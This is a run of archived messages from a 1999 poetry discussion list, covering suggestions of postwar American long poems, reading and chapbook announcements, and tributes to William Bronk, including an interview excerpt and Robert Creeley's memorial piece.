(backchannel, thanks).....
chris

↑ Index

288. **ShaunAnne Tangney Humanities**
Re: long poem / Rosenthal
Wed 24 Feb 1999

On Wed, 24 Feb 1999, Pierre Joris wrote:

> *From: "Jennifer Rosenthal" <[redacted]>*
> *To: <[redacted]>*
> *Subject: long poem*
> *Date: Mon, 22 Feb 1999 12:06:44 -0500*

> *Here is a compellation of the responses to my email asking for suggestions of American long poems written 1945-1960. Please let me know if you think of a poem that isn't here. Thanks to all those who responded!!*

robinson jeffers' the double axe (in the liveright edition by the same name); also the inhumanist--in fact, jeffers has LOTS of LONG poems, but i'm w/o my CP at hand and am unsure of the dates. --shaunanne tangney

>

↑ Index

289. Poetics List
Re: long poem / Rosenthal
Wed 24 Feb 1999

From: Heather H Thomas" <[redacted]>
Date: 2/23/99, 5:23 PM -0500

Just a quick note--ALice Notley's Desamere was written in the 1990s, not the period of your study.
Best,
Heather Thomas

Heather H. Thomas, English Dept., Kutztown U., Kutztown, PA/USA [redacted]

↑ Index

290. Poetics List
three reminders
Wed 24 Feb 1999

All - a few requests from me and/or fellow-subscribers:

//1 Please include the location (city, state, country etc.) in all reading/event announcements!

//2 Including the text of a prior message in a reply is fine, but please do so only when necessary
and then Selectively. Otherwise, subscribers who receive the list in digest form end up having
to scroll through the same message three and four times etc., a sure route to grumpiness. I've
been editing out the repetitions myself, but it were preferable I didn't have to do so.

//3 Remember, posts to the list should be directed to
<[redacted]>, and
notes to or correspondence with me should be directed to
<[redacted]>;
lately there's been a fair bit of misdirection on both sides, and it makes things a bit confusing
behind the (stage not iron) curtain.

thanks very much. Chris

Christopher W. Alexander
poetics list moderator

↑ Index

291. **Anastasios Kozaitis**
Re: Goodbye Paul, Goodby Khlebnikov
Wed 24 Feb 1999

William Everson/Brother Antoninus "Tendril in the Mesh"
Anne Carson, "The Autobiography of Red"

At 04:07 PM 2/23/99 +0000, you wrote:
>I mentioned Paul Schmidt's death to my Russian teacher this morning, who
>expressed amazement that anyone could translate Khlebnikov into English,
>since even Russians can't understand him!
>
>In Russian terms, I think Khlebnikov is very well-known for two or three
>pieces (e.g., the laugh poem) and as an image. Perhaps something like
>the non-literary educated American's sense of Stein.
>
>Khodasevich is the real "little known" Russian poet.
>
>I didn't have any problem with Steve Holden's obituary for Paul
>Schmidt.
>
>The piece on Stein's Saints, on the other hand, was abysmal.
>

↑ Index

292. **Maria Damon (Maria Damon)**
Re: David Antin
Wed 24 Feb 1999

puff puff, i've got an article on Antin in Cultural Studies 5.1, entitled "Talking Yiddish at the Boundaries."

At 3:53 PM 2/23/99, Lowther,John wrote:
>poetix
>
>davidantin is one of my favorite poets & has had a huge impact on my
>writing
>
>
>i've been trying to collect as much material by and about him as i can
>find
>and two things in particular have elluded me
>
>his book TALKING published by the Kulchur Foundation
>and a special issue of the magazine VORT which focused on Antin and
>Rothenberg
>
>ultimately i wd like to own both of these items but in the absense of
>that
>i'd like to get copies of the poems in the former that do not appear in
>the
>sun & moon SELECTED POEMS and copies of all the Antin specific material
>in
>VORT
>
>is there anyone who cd help me with this (i'm, of course, willing to pay
>postage & copying costs etc)
>
>i've also got the beginnings of a bibliography started (with the help of
>a
>librarian friend) but i know that it's unfinished and it also doesn't
>cover
>material about him by other critics poets etc
>
>any suggestions in this regard or discussion of Antin wd be cool
>
>
>thanx

>
>
>)L

↑ Index

293. **Lowther,John**
Re: long poem / Rosenthal
Wed 24 Feb 1999

---

somebody correct me if i'm wrong (i've erased the original message)

but aren't their two selection factors to be kept in mind
with regard to this long poem biz

1 - rooted in a sense of place

2 - written in the 60's

)L

↑ Index

294. **Anastasios Kozaitis**
Re: question
Wed 24 Feb 1999

Thaskal(os) or Thaskal(a)

At 08:31 AM 2/24/99 -0500, you wrote:
>Does any body know a sexy Greek word for "teacher"?
>
>Mike
>

↑ Index

295. **Lowther,John**
David Antin - audio addendum +
Wed 24 Feb 1999

Michael McColl wrote to me w/ ref to Antin;

> I ordered a tape from the Watershed Foundation
> in D.C., along with some other stuff, but though
> they charged my credit card, and I called for 6
> months and left messges, I never got the tape
> (or a refund).

and as it happens i meant to add a query to my post about Antin asking if anyone had tapes of him or knew of how/where to acquire them

Michael wd also i presume be interested to know if anyone has a cluse what's happened to Watershed

i've read that Antin decided against using certain poems in his SELECTED POEMS - presumably as they no longer satisfied his standards - these too i wd be interested in seeing/finding

)L

↑ Index

296. Peter Ganick
3 NEW Potes & Poets chapbooks
Wed 24 Feb 1999

---

3 new chapbooks from Potes & Poets Press not available
yet anywhere else, with a special purchase offer to Poetics
List-members...

THE BOOKS...

1) Free Fall, Vernon Frazer, 28 pp., $6...

Frazer is a Connecticut poet and fiction writer whose book] is a stream-of-consciousness episode full of typographical and linguistic curiosity. He has played acousic bass in what he calls his 'poetry band', and the improvisational aspect of this work is apparent. He is publisher of Beneath the Under- ground Press.

2) City of Angels, Ivan Arguelles, 52pp., $7...

Arguelles writes of sexuality and Eastern religion in a mix
that generates a state of relatedness to one's inner being.
He has been published before many times, but is under-
recognized as a poet who goes beyond the confines of 'the
acceptable' in terms of discourse as we know it usually.
He lives and works in Berkeley CA.

3) Immanence, Peter Ganick, 63pp., $7...

Ganick's book consists of 15 poems of a philosophical
nature. Issues of postmodernism and the Husserlian
cogito are put into poetic terms. The poems weave a
dense fabric of language and semi-disjunct syntax. Some
concern the recent Impeachment trial of President Clinton.

He is publisher of Potes & Poets Press and teaches class-
ical piano to children in the suburb of CT in which he lives.

THE DEAL...

All three books [a $22 value] to Poetics listmembers only
for $15 postpaid [1st class, $2 extra]. These books won't
be available anywhere else for a while.

Send me an email, and I will bill you. Don't forget to include your snailmail address and telephone number.

out,
peter

↑ Index

297. Maria Damon (Maria Damon)
Re: lorenzo thomas
Wed 24 Feb 1999

At 2:54 PM 2/23/99, Maria Damon wrote:
>does anyone out there have lorenzo thomas's e-mail? i had his card in my
>hand not 1 hr ago, and now i can't find it. feeling like a dope --md

never mind i found it

↑ Index

298. Poetics List
William Bronk (1918-1999)
Wed 24 Feb 1999

I had to reformat this a bit - my apologies for the intrusion. Chris

---------- Original message (ID=BB766BCA) (170 lines)

Date: Tue, 23 Feb 1999 18:38:12 -0500
From: Edward Foster <[redacted]>
To: [redacted]
Subject: William Bronk (1918-1999)

I think always how we always miss it; how the dead
have not been final, and life has always required
to be stated again, which is not ever stated.
It is not art's statements only, not
what we try to say by music, not the way
this picture sculptures sight itself
to see this picture - not by art alone

the aim is missed, and even least of all
by art (which tries a whole world at once,
a composition). No, it is in our terms,
the terms themselves, which break apart, divide,
discriminate, set chasms in that wide,
unbroken experience of the senses which
goes on and on, that radiation, inward and out,
that consciousness which we divide, compare,
compose, make things and persons of, make forms,
make I and you. World, world, I am scared
and waver in awe before the wilderness
of raw consciousness, because it is all
dark and formlessness: and it is real
this passion that we feel for forms. But the forms
are never real. Are not really there. Are not.

from "The Arts and Death: A Fugue for Sidney Cox"

Once, it had seemed
the objects mattered: the light was to see them by.
Examined, they yielded nothing, nothing real.
They were for seeing the light in various ways.
They gathered it, released it, held it in.
In them, the light revealed itself, took shape.
Objects are nothing. There is only the light, the light!

from "The Annihilation of Matter"

Our minds are unmortared constructions of stone blocks
which are all of them separate but we fit
them closely together and know what blocks
to go to for what we think or feel.
In between, are barely perceptible cracks.
Go in there. It will expand as you go.

"Caving In"

> *From the Talisman interview:*

WB: But are words other than what they mean? One problem about them is that we don't know what they mean. We think we know what they mean, but I have had literate people totally, as far as I'm concerned, misread a poem that I've written. I don't understand - How the hell did he come up with that? I didn't mean anything like that, and I think that I'm a fairly direct speaker in a poem, and I think that clarity is something that I usually achieve. But often it's a quite

different clarity from what I intended. And I think it's fair to say it's a misreading of the poem, not simply that the poem has a reading that I didn't

intend. I don't feel that.

EF: I don't believe one has complete control of language. It devises its own patterns.

WB: Oh, very much so in my own experience although I don't think that is the experience of a lot of other writers who work and rework a poem. My poems come to me in their own language, and if they were not in that language, they would not have any force. Sometimes before I get it written down, the language kind of slips, and I think: I don't know, that is not it, that's not it. I'm saying something which is intellectually more or less the equivalent, but it is flat - it doesn't work. And then if I'm fortunate, it will come back to me: oh, yes, that's the way the poem is, and it's simply a matter of changing the tone or changing the language - which would not be the case if it were a neutral kind of idea -

EF: But poems can be read without attention to "meaning." And there is great pleasure in reading for the music, for the song.

WB: Oh, there are times when the only way that we can read them is that because - "In the beginning was the Word, and the Word was with God, and the Word was God." Who knows what that means? Oh, I'm sure that there are thousands of people who will explain just exactly what John meant by that, but as far as I'm concerned, the meaning is nothing that I would try to explicate. And the whole force of it is destroyed by explication. And there are all sorts of things of that sort. But not every poetic expression is powerful in that way. It may still be valid. The nursery rhymes which are said to have had very specific, frequently political meanings in their own times, [a meaning] which is lost to most people today, and I expect that there are some scholars who will give you a rundown on "Humpty-Dumpty," for example - its political meaning. Who cares at this point? And in a sense it doesn't really mean anything, and yet we've all - It's part of our childhood and obviously did mean to us - Completely apart from its original sense.

EF: And there's poetry that sets up a rhythm, a tone that is pleasing, and doesn't
make statements in a conventional way.

WB: John is making a statement.

EF: He is, but it's not in the realm of conventional discourse. We can't approach it through paraphrase.

WB: If you are simply trying to make a pleasant sound, then that's something else.

EF: No, the poetry I mean is more than that, but it's severed from the world of conventional meaning.

WB: Yes, but there's a distinction there between its having content and its not having content.

EF: Well, nonsense syllables, but I don't mean that. Gertrude Stein's Stanzas
in Meditation clearly has meaning but not in any literal or usual way.

WB: But I think that you have to have something that you are meaning and not simply depending on the words to give you a meaning.

EF: There has to be personal intent?

WB: You have to mean it. You can't do it hoping that the words will mean something that you don't mean. I think that Gertrude was not depending on the words. I think that she meant something. She had something that she was saying, she wanted to say, and she wasn't saying, well, if I just do this - Although she was the one who promoted automatic writing: give the words their lead, and they'll tell you their meaning. So maybe I'm wrong about her.

EF: I don't think so.

WB: But you go back a few steps to what was said earlier about the words being in charge, the words taking control of expression - I have repeatedly had the experience, when the poem gets written down, of saying, oh, God, no, I don't mean that - but hesitating to change the meaning because it seems to me the way it has to be said - and then only later, maybe the next day, two days later, the next week: yes, I guess that's what I do mean. But the initial rejection of what the poem is saying because it seems to me something that I don't particularly want to mean, a meaning that makes me uncomfortable or embarrasses or contradicts something else I've said or whatever. Having to accept that when I've lived with it for a little while - Admitting, yes, yes, I guess that is what I mean.

↑ Index

299. **D Baratier**

Re: long poem / Rosenthal

Wed 24 Feb 1999

Muriel Rukeyser:
One Life is not the book, that might be a collected of hers. Individual
long poems:
Theory of Flight 1935

Book of the Dead 1938
The Elegies 1949

and since many on your list are serial & not long poems per se:
John Berryman:
Sonnets to Chris
The Dream Songs (started in mid fifties)

Kenneth Patchen
Poemscapes

Weldon Kees
The Fall of the Magicians

Robinson Jeffers:
Cawdor

Be well

David Baratier

↑ Index

300. Maria Damon (Maria Damon)
Re: David Antin - audio addendum +
Wed 24 Feb 1999

---

i've got a copy of the watershed --did they cash your check? i think they're out of business== but they've got some great other tapes --brathwaite, shange, hagedorn, etc

At 10:46 AM 2/24/99, Lowther,John wrote:
>Michael McColl wrote to me w/ ref to Antin;
> I ordered a tape from the Watershed Foundation
> in D.C., along with some other stuff, but though
> they charged my credit card, and I called for 6
> months and left messges, I never got the tape
> (or a refund).
>
>and as it happens i meant to add a query to my post about Antin asking if
>anyone had tapes of him or knew of how/where to acquire them
>
>Michael wd also i presume be interested to know if anyone has a cluse what's
>happened to Watershed
>
>i've read that Antin decided against using certain poems in his SELECTED
>POEMS - presumably as they no longer satisfied his standards - these too i

>wd be interested in seeing/finding
>
>)L

↑ Index

301. Billy Little
Re: long poem / Rosenthal
Wed 24 Feb 1999

Robert Duncan Passages
Robin Blaser Image Nations
Haniel Long Malinche
Haniel Long Interlinear To Cabeza Da Vaca
Kenneth Koch The Sun Tries To Go On
William Carlos Williams Kora In Hell
William Carlos Williams Spring and All
gerry gilbert moby jane
george stanley san francisco's gone
ed dorn north atlantic turbine
ed dorn idaho out
diane wakoski greed
john weiners hotel wentley poems
amiri baraka preface to a twenty volume suicide note

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy

↑ Index

302. Rita Zilberman
Re: long poem / Rosenthal
Wed 24 Feb 1999

Also post-1960, Frank Stanford's the battlefield where the moon says I love you (published '77).

--Rita

& even if you stayed US-sides after 60, there is major long work to be added:
Ed Dorn's Slinger, Robert Kelly's Axon Dendron Tree and The Loom, Rothenberg's Poland 1931, Ted Enslin's Forms, Synthesis, and Ranger, Diane Di

Prima's Loba, Steve Jonas' Orgasms/Dominations, David Meltzer's Hero/Lil,
Frank Samperi's trilogy (The Prefiguration; Quadrifarian; and Lumen Gloriae),
Ed Sanders' 1968, Anne Waldman's Iovis, -- not to mention such britishers as
Allen Fisher's Place or Iain Sinclair's Lud Heat.

pierre

--
==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Nomadism answers to a relation that
possession cannot satisfy.

— Maurice Blanchot
==========

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

303. Steven Shoemaker
Re: Goodbye Paul, Goodby Khlebnikov
Wed 24 Feb 1999

Since we've been talking about the NYTBR, what did folks think of the unusually spacious take on Montale? He's a poet I don't know at all, and I did come away at least interested. Anyone know the work? steve

↑ Index

304. Edward Foster
Re: long poem / Rosenthal
Wed 24 Feb 1999

Talisman House, Publishers
P.O. Box 3157
Jersey City, NJ 07303-3157

On Tue, 23 Feb 1999, Kathy Lou Schultz wrote:

> *Address for _Talisman_ anyone?*
> *(Thought I had the correct one, but just received something returned "not deliverable.")*
> *Thank-yee.*
> [redacted]

↑ Index

305. Mairead Byrne
Re: long poem / Rosenthal
Wed 24 Feb 1999

Isn't One Life a biography? Definitely not poetry.
Mairead

On Wed, 24 Feb 1999, D Baratier wrote:

> *Muriel Rukeyser:*
> *One Life is not the book, that might be a collected of hers. Individual long poems:*
> *Theory of Flight 1935*
> *Book of the Dead 1938*
> *The Elegies 1949*
>
> *and since many on your list are serial & not long poems per se:*
> *John Berryman:*
> *Sonnets to Chris*
> *The Dream Songs (started in mid fifties)*
>
> *Kenneth Patchen*
> *Poemscapes*
>
> *Weldon Kees*
> *The Fall of the Magicians*
>
> *Robinson Jeffers:*
> *Cawdor*
>
> *Be well*

> *David Baratier*

↑ Index

306. **Lowther,John**
Buchler's THE MAIN OF LIGHT
Wed 24 Feb 1999

---

anybody familiar with this book ?

i brought up a comparison bewteen C.S.Peirce's
categories and Pound's 'three types of poetry'
on the Peirce listserv recently, and Buchler's
book was suggested to me

)L

↑ Index

307. **Judy Roitman**
Another KS event
Wed 24 Feb 1999

Steve Tills
reading

Wednesday, March 10
7:30 p.m.
Canterbury House, 1116 Louisiana
Lawrence, KS

Steve Tills has published recently in Lyric &, Object, Juxta; forthcoming chapbook (Mr. Magoo) from Texture; coordinated Cinnabar Reading Series and directed Russian River Writers' Guild until May 1998.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area
code ----------
http://www.math.ukans.edu/~roitman/

↑ Index

308. komninos zervos
Re: question
Wed 24 Feb 1999

---

male or female teacher?
komninos

Michael Boughn wrote:

> *Does any body know a sexy Greek word for "teacher"?*
>
> *Mike*

↑ Index

309. komninos zervos
Re: question
Wed 24 Feb 1999

---

despinis = miss
kiri-e = sir
kiria = mrs.
there is no ms.
the greeks are like that!
komninos

Michael Boughn wrote:

> *Does any body know a sexy Greek word for "teacher"?*
>
> *Mike*

↑ Index

310. Billy Little
Re: long poem / Rosenthal
Thu 25 Feb 1999

John Ashbery's Three Poems must be included in any long poem discussion
Sharon Thesen's Confabulations
Michael Ondaatje's Collected Poems of Billy the Kid
Richard Brautigan's Gallillee Hitchhiker
Steve Jonas' Orgasms
Frank Davey's Capitalistic Affections or
Patricia and Edward(what's that book?)
There's several knockout long poems in David MacFadden's There'll Be Another from Talonbooks
Lisa Robertson XEclogue

Barry McKinnon's The Centre
A Book Jack Of Spicer Music
Heads of the Town Up To The Ether
Antler's Factory the best american poem since Howl
it is a howl
Robert Kelly has written hundreds of
humungous poems all quality
amiri baraka in the tradition
ed sanders the vfw crawling race
ditto investigative poetry
rd lang's knots is a masterpiece
not quite american but very
michael mcclure's poisoned wheat
gary snyder's four directions
ed dorn's gran apaceria
charles olson's bibliography on america for ed dorn
robert creeley's numbers
tom raworth's tottering state
bob perlman's seven poems
rosemary waldrop's latest
she's the poet charles bernstein always wanted to be
shame on me i should have put Duncan McNaughton's Black Spoon right up
there beside Amiri Baraka's In the Tradition Black Spoon is the essential
poem of the generation a true jazz poem captured on the page
Baraka's work though certainly the most powerful of his generation pales
beside the actual pretty straightforward performance anybody that's
organizing readings and not inviting Baraka is missing the point give him
all your money if that's what it takes, make video.

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy

↑ Index

311. **Billy Little**
Re: William Bronk, 1918-1999 (please see way
Thu 25 Feb 1999

---

each of us savouring him
elizabeth press who even heard of it
an innocent pleasure
savoured in solitude

chewed and rechewed
if a poet could turn your ears to ice
without speaking Bronk could

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy

↑ Index

312. A. Jenn Sondheim

Y2K: NET:

Thu 25 Feb 1999

:

Y2K: NET:

Starting ping....
Host lookup cancelled
 You stupid we're all dead no one is here to help you.
Starting lookup...
Host lookup cancelled
 You stupid your wires are burned you're lucky you got this far.
Starting ping....
Pinging 166.84.0.97....
TIMED OUT
TIMED OUT
TIMED OUT
Ping Cancelled
Ping Unsuccessful
0 packets received out of 3 packets transmitted : 100% PACKET LOSS
 You stupid you're playing with yourself again just forget it.
Starting trace....
Tracing to 166.84.0.97....
Hops IP Address RTT(ms)
1 TIMED OUT
2 TIMED OUT
3 TIMED OUT
Trace Cancelled
Host not reached
 You stupid the world is dead you are one big scream.
Starting lookup...

You stupid your power's gone shutting you down idiot forever.
You s

↑ Index

313. Leonard Brink
Instress Spring Chapbooks
Thu 25 Feb 1999

The Instress Spring 1999 chapbook series is now available. The chapbooks are:

The Domain of Inquiry by Beth Anderson
Clepsydra by Laynie Browne
The World by Jono Schneider

Also included is the chapzine, Inscape #5, featuring the work of British Poets:

Tom Raworth
Miles Champion
Karlien van den Beukel
Kevin Nolan
John Wilkinson
Rod Mengham
Anthony Barnett
Peter Larkin
&
J.H. Prynne

All four publications are available, postage paid, for just $10 (or the publications can be ordered individually for $4 each) Please make checks payable to Leonard Brink, P.O. Box 3124, Saratoga, CA 95070

↑ Index

314. Ron Silliman
long poems
Thu 25 Feb 1999

No one to my knowledge has yet mentioned Frank Stanford's _the battlefield where the moon says I love you_, a really fine (and really strange) booklength work done by the late Arkansas surrealist when he was still in (or just out of -- are Forrest Gander or CD Wright on this list? they could fill in these blanks much better than I) his twenties.

Oppen's _Of Being Numerous_ also ought to be on that list. Ditto Creeley's _Pieces_, and Berrigan's _Bean Spasms_, Blackburn's _Journals_, Plus Ammons' Tape of the Turn of the Year (it's not only literary progressives who've written

long poems), Donald Finkel's poem of his trip to the south pole. What else? Eventually we'll get to George Keithley's Donner Party, Vikram Seth's Golden Gate and some really godawful work.

↑ Index

315. Burt Hatlen
Re: POETICS Digest - 23 Feb 1999 to 24 Feb 1999 (#1999-32)
Thu 25 Feb 1999

Re: David Baratier

Rukeyser's _One Life_ definitely IS a long poem (book length, combining prose and verse). I was very pleased to see it on this list--another "disappeared" masterwork of our century.

Burt Hatlen

↑ Index

316. Rebecca Wolff
Anne Carson Re-Scheduled
Thu 25 Feb 1999

Dear List:

Fence would like to announce the rescheduling of Anne Carson's reading, cancelled a few weeks ago due to illness. She's all better now, and will be reading

with David Means (fiction writer)

Friday, March 5th (that's next week) at 7 pm
at Teachers & Writers, 5-9 Union Square West, 7th floor
New York City

Admission is $8, or $14 gets you a subscription to Fence.

For those who attended our February 6th spontaneous pairing of the gracious Ann Lauterbach and Jeffrey Eugenides:

Don't forget to bring your purple piece of paper for half-price admission!

↑ Index

317. Michael Heller
(no subject)
Thu 25 Feb 1999

George Oppen's "Of Being Numerous" (1968) ought to be added to the 1960s long poem list.

↑ Index

318. Charles Bernstein
Creeley on Bronk
Thu 25 Feb 1999

Robert Creeley wrote this for the EPC's obituary pages (http://writing.upenn.edu/epc/documents/obits/), where it will shortly appear.

***

William Bronk's Passing

Although one saw him but rarely, there was a strong sense of bond between us as two who had begun together back at the close of the 40s, in Cid Corman's Origin. We had a mutual friend, a little older than I was -- as was Bill as well -- Samuel French Morse, a friend also of Cid Corman's, by way of Gordon Cairnie's transforming Grolier Book Shop in Cambridge. I was trying to start a little magazine and Bill had sent me some poems (at Sam's suggestion), which were printed in Origin, when the magazine I intended fell apart.

Much has been said about William Bronk's relation to Wallace Stevens. There is certainly an active sense of parallel, particular in the pace, the reflective rhetoric, and in the use of pronouns. But Stevens is a much lighter poet, if that's the word, letting thought be both way in and way out, a play of mind rather than its adamant conviction. It was not surprising when Stevens converted at last to Catholicism. Bronk's Protestant determination never changed.

I recall those early poems had often a humor, neither droll nor necessarily relieving. It was a humor of situation, that one was in this world indeed, just so. Bill thought about it all his extraordinary life. In that he was very like Emily Dickinson, seemingly alone yet compact with existence, flooded with insistent intelligence and proposal. One notices how particularly his poems return, loop, rather, about their factors of statement. "Here" is the only place he ever was.

Our first meeting was at a reading I'd had in New York, and he came up to introduce himself just after, but really to tell me with a look of real consternation, that he would never have imagined I'd read my poems as I did, stuttering, seeming almost in pain -- why? I had no answer. He read his own

thoughtfully, firmly, considering. When, a few years ago, he was unable to attend a festival we were both to be at, a tape of his reading was provided, and so I sat with others listening to that dependable, quiet voice speak through the lines of an age old human wondering. Why indeed, I thought -- it was a good question.

Back home, I called him to tell him all had gone well, and we mused a bit on life, on what it had been to be poets. As he said, one had never thought of it as a "career" or as any such. One did it simply. Charles Olson valued him quite probably more than any other of his contemporaries -- it was the measure of intelligence he constituted, the address of his means to the given world. Finally, there was no one else quite like him, so large in his singleness, so separate yet enclosing. One will not see his like again.

Robert Creeley
Buffalo, N.Y.
February 25, 1999

↑ Index

319. **dbkk**

Two Guys Named Jeff: Clark and Derksen at SPT

Thu 25 Feb 1999

Small Press Traffic presents "Life/Forms: New Ways to See It, New Ways to Say It"

A weekend residency with Jeff Derksen

**Two Guys Named Jeff: Reading with Jeff Clark
Friday, February 26, 7:30 p.m.
New College Theater
777 Valencia Street
$5

**Salon
Saturday, February 27
1:00-3:00 p.m.
Lunch with Jeff Derksen at Espresso Bravo Cafe
663 Valencia (between 17th and 18th)
Stop by for great coffee, conversation, cheap food.

**Talk
Saturday, February 27, 7:30 p.m.
Poetry and Social Relations: Recent Rearticulatory Practices
New College Theater

777 Valencia Street
$5

For the third installment of Small Press Traffic's "Life/Forms" series, we will have a weekend with Jeff Derksen, the brilliant Canadian poet and controversialist, the man who knows, better than any other, why so much of today's best writing, including his own, mixes up the social, the personal, and the political. Jeff Derksen's Down Time (1990) and Dwell (1994) from Vancouver's Talonbooks are classic, and there's a new one I haven't seen calledBut Can I Make a Living from It (Hole Books, 1998). Former editor of Writing Magazine. Board Member of The Kootenay School of Writing (Vancouver) and Truck Gallery (Calgary). Edited the groundbreaking "Disgust & Overdetermination: a poetics issue" of Open Letter. Articles on art and poetics have appeared in Poetics Journal, Fuse, West Coast Line, and others. Currently working on a new poetry MS: I Need to Know If this Is Normal and a book of essays: From Form: Essays in Cultural Poetics.

How did it happen that two of our great hopes for 1990s poetry are both called "Jeff" (and what about Jeff Buckley???) Jeff Clark, born 1971, attracted national attention with the publication (by Sun & Moon) of his first book The Little Door Slides Back, a weird, touching, magical blend of Marc Bolan, Mary Butts, Angela Carter and Austin Powers. This international man of mystery was born in southern California to a Disneyland tourguide and a lounge performer. In the early 90s he drummed for the experimental band BUICK, and now lives in San Francisco. He is the author of The Little Door Slides Back (Sun & Moon). His work has appeared in American Letters & Commentary, Angle, Grand Street, Ribot, Tool, and ZYZZYVA. This will be his first poetry reading ever so skip Velvet Goldmine and come and see two guys named Jeff.

↑ Index

320. MAYHEW
(no subject)
Thu 25 Feb 1999

There are more Bronk devotees than I had imagined; someone besides me has been buying these books all these years.

The Music of the Spheres, An Allegory for William Bronk (1918-1999), In Memoriam

This store sells many kinds of drums and cymbals,
sticks and brushes, drum hardware.
We come in to look at new products, glossy brochures,
vintage snares. We are engaged.

Often we make small or large purchases;
children, and some adults, take lessons in the basement.

Yet afterwards it is as if none of this had mattered.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

321. **nuyopoman**
Belly of the Beast
Thu 25 Feb 1999

> *name Oliver Wolf*
> *email* [redacted]
> *nation USA*
> *city New York City*
> *comments Mr. Thomas*
> *I don't know if you've already heard about or seen this but an*
> *episode of rock n roll Jeopardy had a category re Cleveland ("Cleveland*
> *Rocks" maybe?)*
> *The hardest question in the category was something along the lines of*
> *"this pioneering Cleveland band took it's*
> *name from Jarry's Ubu Roi, etc. I don't have to add that nobody got it. My*
> *wife and I looked at each other and at the*
> *same time said "Pere Ubu" excitedly and then she dropped her plate of*
> *spaghetti all over the couch.*
> *thanks a lot.*
> *choice Comment/Query Only.*
> *----- END FORM -----*

↑ Index

322. **Poetics List**
Re: long poem / Rosenthal
Thu 25 Feb 1999

---------- Original message (ID=0609C7AC) (77 lines)

Date: Wed, 24 Feb 1999 08:53:47 -0800
To: UB Poetics discussion group <[redacted]>
From: Mark Weiss <[redacted]>
Subject: Re: long poem / Rosenthal

Rochelle Owens' Joe 82 Creation Poems

>> From: Charles Alexander <[redacted]>
>> Subject: Re: long poem / Rosenthal
>>
>> A lot of post-1960 work in this list (Silliman, Blau Du Plessis, and
>> others). If you're going to include post-1960 work I would hope you would
>> define "American" as meaning more of the continent than the United States,
>> so as not to leave off marvelous works by bpNichol, Phyllis Webb, Daphne
>> Marlatt, George Bowering, and other Canadians. Plus Brathwaite, Walcott,
>> and other Caribbean writers. I apologize for not being so informed about
>> pre-1960 Canadian work -- perhaps others could help in this regard.
>>
>> charles

↑ Index

323. **Poetics List**

Fw: [CHOMSKY] Ten Worst Corporations of 1998

Thu 25 Feb 1999

---------- Original message (ID=3252809E) (144 lines)

From: [redacted]
Date: Wed, 24 Feb 1999 12:15:43 EST
To: [redacted]
Cc: [redacted]

poetry anyone?

joe brennan

-----Original Message-----
From: James Doucette <[redacted]>
To: [redacted] <[redacted]>
Date: Thursday, January 14, 1999 4:03 AM
Subject: [CHOMSKY] Ten Worst Corporations of 1998

>> ----------
>>
>> Date: Wed, 13 Jan 1999 02:45:49 -0500
>> From: [redacted]
>> Subject: (en) Ten Worst Corporations of 1998
>>
>> _____

>> A-INFOS NEWS SERVICE
>> http://www.ainfos.ca/
>> _____
>>
>> Multinational Monitor's Ten Worst Corporations of 1998 are:
>> * Chevron, for continuing to do business with a brutal dictatorship in
>> Nigeria and for alleged complicity in the killing of civilian protesters.
>>
>> * Coca-Cola, for hooking America's kids on sugar and soda water. Today,
>> teenage boys and girls drink twice as much soda pop as milk, whereas 20
>> years ago they drank nearly twice as much milk as soda.
>>
>> * General Motors, for becoming an integral part of the Nazi war machine,
>> and then years later, when documented proof emerges, denying it.
>>
>> * Loral and its chief executive Bernard Schwartz, for dumping $2.2
million
>> into Clinton/Gore and Democratic Party coffers. The Clinton
administration
>> responded by approving a human rights waiver to clear the way for
>> technology transfers to China.
>>
>> * Mobil, for supporting the Indonesian military in crushing an indigenous
>> uprising in Aceh province and allegedly allowing the military to use
>> company machinery to dig mass graves.
>>
>> * Monsanto, for introducing genetically engineered foods into the
>> foodstream without adequate safety testing and without labeling, thus
>> exposing consumers to unknown risks.
>>
>> * Royal Caribbean Cruise Lines, for pleading guilty to felony crimes for
>> dumping oil in the Atlantic Ocean and then lying to the Coast Guard about
>> it.
>>
>> * Unocal, for engaging in numerous acts of pollution and law violations,
>> to such a degree that citizens in California petitioned the state's
>> attorney general to revoke the company's charter.
>>
>> * Wal-Mart, for crushing small town America, for paying low, low wages (a
>> huge percentage of Wal-Mart workers are eligible for food stamps), for
>> using Asian child labor and for homogenizing the population; and last,
but

>> not least,
>>
>> * Warner-Lambert, for marketing a hazardous diabetes drug, Rezulin, which
>> has been linked to at least 33 deaths due to liver injuries.
>>
>>
>>
>> ********
>> The A-Infos News Service
>> ********
>> COMMANDS: [redacted]
>> REPLIES: [redacted]
>> HELP: [redacted]
>> WWW: http://www.ainfos.ca/
>> INFO: http://www.ainfos.ca/org

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324. Poetics List
Re: long poem / Rosenthal
Thu 25 Feb 1999

This one came to me instead of the list. Chris

From: "SAMUEL GARREN" <[redacted]>
Subject: Re: long poem / Rosenthal
Date: 2/24/99 11:05 AM -0500

Others I thought of include: MidQuest, Fred Chappell (LSU Press); Mountains and Rivers without End, G. Snyder; Gunslinger, Ed Dorn; On Bear's Head (?), Phillip Whalen [not sure about it; may be separate poems, but I think it's one}; ; There's also a long one by Robert Duncan whose title escapes me. The Chappell one's an interesting one, each section is related to one of the elements, fire wind, water, earth, etc.

↑ Index

325. Poetics List
Portable Creative Writing Workshop
Thu 25 Feb 1999

This one came to me instead of the list. Chris

From: "Kevin Daly" <[redacted]>

Subject: Portable Creative Writing Workshop
Date: 2/24/99 2:45 PM +0000

New Publication of interest to poets and writers:

THE PORTABLE CREATIVE WRITING WORKSHOP, a new 200 page handbook for writers of poetry and short fiction, featuring games, exercises, technical advice and challenge, written by prize-winning Irish poet and fiction writer Pat Boran, and with specially written contributions from over two dozen poets, fiction writers and playwrights - including Maeve Binchy, Eavan Boland, Roddy Doyle, Seamus Heaney, Paula Meehan, Joseph O'Connor and Marina Warner -is published the first week of March by Salmon Publishing.

To find out more about the book, see
SALMON WEB PAGES http://www.salmonpoetry.com
